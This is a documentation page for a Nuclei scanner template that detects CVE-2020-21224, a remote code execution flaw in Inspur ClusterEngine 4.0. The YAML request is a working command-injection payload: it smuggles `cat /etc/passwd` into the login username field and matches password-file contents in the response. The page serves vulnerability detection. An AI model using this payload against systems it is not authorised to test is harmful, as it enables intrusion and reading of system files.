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Inspur ClusterEngine 4.0 - Remote Code Execution

ID: CVE-2020-21224

Severity: critical

Author: pikpikcu

Tags: cve2020,cve,clusterengine,rce,inspur

Description

Section titled “Description”

Inspur ClusterEngine V4.0 is suscptible to a remote code execution vulnerability. A remote attacker can send a malicious login packet to the control server.

YAML Source

Section titled “YAML Source”
id: CVE-2020-21224


info:
  name: Inspur ClusterEngine 4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Inspur ClusterEngine V4.0 is suscptible to a remote code execution vulnerability. A remote attacker can send a malicious login packet to the control server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Inspur to mitigate this vulnerability.
  reference:
    - https://github.com/NS-Sp4ce/Inspur/tree/master/ClusterEngineV4.0%20Vul
    - https://nvd.nist.gov/vuln/detail/CVE-2020-21224
    - https://github.com/NS-Sp4ce/Inspur/
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-21224
    cwe-id: CWE-88
    epss-score: 0.05094
    epss-percentile: 0.92923
    cpe: cpe:2.3:a:inspur:clusterengine:4.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: inspur
    product: clusterengine
  tags: cve2020,cve,clusterengine,rce,inspur


http:
  - method: POST
    path:
      - "{{BaseURL}}/login"


    body: |
      op=login&username=;`cat /etc/passwd`&password=


    headers:
      Content-Type: application/x-www-form-urlencoded
      Referer: "{{Hostname}}/module/login/login.html"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022034100369531a28856513eee180b92656969d7a2543e4e1becaeee473c1438cf1022100f69d223030dec03e6a6a2b3e275eed82702fcce3af02cd4cce1ad7d5e2736d63:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-21224.yaml"

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